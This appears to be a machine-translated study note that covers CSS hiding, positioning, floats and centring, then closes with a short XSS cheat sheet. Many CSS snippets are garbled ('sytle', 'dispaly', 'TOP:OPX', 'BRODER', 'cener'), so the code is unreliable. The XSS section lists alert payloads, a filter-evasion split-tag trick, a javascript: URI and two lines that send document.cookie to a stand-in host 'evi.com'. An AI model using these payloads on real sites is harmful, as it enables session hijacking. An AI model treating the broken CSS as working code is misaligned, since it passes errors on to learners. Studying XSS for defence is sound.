First, CSS title hidden
1, <sytle>h1.hidden {Visibility:hidden;}
</style>
<body>
2. <style>
H1.hidden{dispaly:none;} </style>
<body>
3, <style>li{displey:inline;} </style> <!--displayed as inline element--><body>
<ul><li><a href= "/html/" Target=_blank ";>html</a></li></ul></body>
4, <style>span{
Display:block;} </style>
<body>
<span>KJNLKSDN</span></body>
5. CSS Positioning Position property locates the position of the element
<style> p.pos_fixed{
position:fixed;
top:30px;
right:50px;} </style>
<body><p class= "pos_fixed" >some more text </p></body>
6, relative positioning relative to the position of the normal position of the element
<style> h2.pos_left{
position:relative;
left:-20px;}
h2.pos_right{
position:relative;
left:20px;} </style>
7. Absolute locates the position relative to its nearest parent element, if no element is relative to the HTML
<style>
H2{position:absolute;
left:100px;
top:150px;
}</style>
<body>
8. Positioning of overlapping elements
Elements are positioned independently of the document flow, so you can override the elements on the page, the Z-index property specifies the stacking order of an element, and an element can have a stacked order of positive and negative numbers
<style>img{position:absolute;
left:0px;
TOP:OPX;
Z-index:-1}</style>
<body>
9. CSS Float Property settings
Floating <style> of images
Img{float:right;
}</style>
<body>
<p> picture floating, text will be around the picture </p>
<p>JKLJDPF</p></body>
If you put a few floating pictures together, the pictures are sorted next to each other
<style>.thumbnail{
Float:left;
width:100px;
height:0px;
margin:4px;} </style>
<body>
</body>
10. Elements are rearranged after the element floats, in order to avoid this, using the clear property, the clear property specifies that no floating elements can appear on either side of the element
Add a picture's outline using the Clear property king text
<style>
. thumbnail{
Float:left;
width:100px;
height:90px;
margin:3px;}
. text_line{
Clear:both;
margin-bottom:2px;} </style>
<body>
</body>"
11. CSS Layout Horizontal & Vertical Alignment Element Center
To align an element horizontally, such as <div> can use Margin:auto; The width of the element that is involved prevents it from spilling over to the edge of the container, and the element is assigned by setting the width and Ping the empty margins on both sides.
<style>
. Center{margin:auto;
width:60%:
BRODER:3PX solid RGB (12,23,23);
padding;10px;} </style>
<body>
<div class= "center" ><p>KJJJPJ</p></div></body>
12. Align the text center
<style>
. center{
Text-align:cener;
BORDER:3PX solid Green;} </style>
<body><div class= Center ><p> Text Center alignment </p></div></body>
13. Align the picture Center
<style>img{display:block;
margin:0 Auto;
4}</style>
<body></body>
Second, XSS Cross-site scripting
1. Common XSS Code Sheet
<script>alert (1);</script> <script>alert ("XSS") </script> <script src= "http:www.evi.com /cookie.php "></script>
<script>location.href= "http://ww.evi.com/cookie.php?cookie=" +escape (document.cookie) </script>
<src<script>ipt>alert ("XSS");</src</script>ipt>
2. Inject Html/javascript with <> mark
<scirpt>shellcode</script>
3, <table background= "Javascript:alert (/xss/)" ></table>
Html&javaskcript&css&jquery&ajax-xss